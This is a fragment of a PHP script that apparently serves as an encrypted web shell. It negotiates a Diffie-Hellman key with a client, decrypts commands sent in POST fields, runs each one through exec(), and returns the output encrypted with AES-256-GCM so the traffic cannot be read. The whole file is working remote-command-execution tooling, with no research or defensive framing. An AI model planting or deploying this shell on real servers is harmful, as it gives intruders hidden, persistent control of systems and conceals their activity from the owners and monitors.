$configargs)); openssl_pkey_export_to_file($private_key,'privateserver.pem',$passphrase); } $details = openssl_pkey_get_details($private_key); $public_key = $details['dh']['pub_key']; file_put_contents("publicserver.pem", $details['key']); return array("private" => $private_key, "public" => $public_key); } // Returns: // ciphertext - The encrypted payload // iv - for randomness in ciphertext // tag - for verification function encrypt($plaintext, $aes_key) { // Encrypt payloads $cipher = "aes-256-gcm"; $ivlen = openssl_cipher_iv_length($cipher); $iv = openssl_random_pseudo_bytes($ivlen); $options = 0; $ciphertext = openssl_encrypt($plaintext, $cipher, $aes_key, $options=0, $iv, $tag); return array("ciphertext" => $ciphertext, "iv" => $iv, "tag" => $tag); } // Returns: function decrypt_post_request($aes_key) { // Decrypt post request $ciphertext = $_POST['ciphertext']; $cipher = "aes-256-gcm"; $tag = hex2bin($_POST['hex_tag']); $iv = hex2bin($_POST['hex_iv']); $options = 0; return openssl_decrypt($ciphertext, $cipher, $aes_key, $options=0, $iv, $tag); } $keys = generate_keys(); $private_key = $keys['private']; $public_key = $keys['public']; if(isset($_POST["ciphertext"]) && isset($_POST['public_client']) && isset($_POST['hex_iv']) && isset($_POST['hex_tag'])) { $remote_public_key = hex2bin($_POST['public_client']); $shared_secret = openssl_dh_compute_key($remote_public_key, $private_key); // Decrypt incoming payload $plaintext = decrypt_post_request($shared_secret); // Execute exec($plaintext, $output); $payload_result = implode("\n", $output); // Encrypt answer $encrypted = encrypt($payload_result, $shared_secret); // Output response echo bin2hex($encrypted['tag']) . "\n"; echo bin2hex($encrypted['iv']) . "\n"; echo $encrypted['ciphertext']; } else { echo bin2hex($public_key)."\n"; } ?>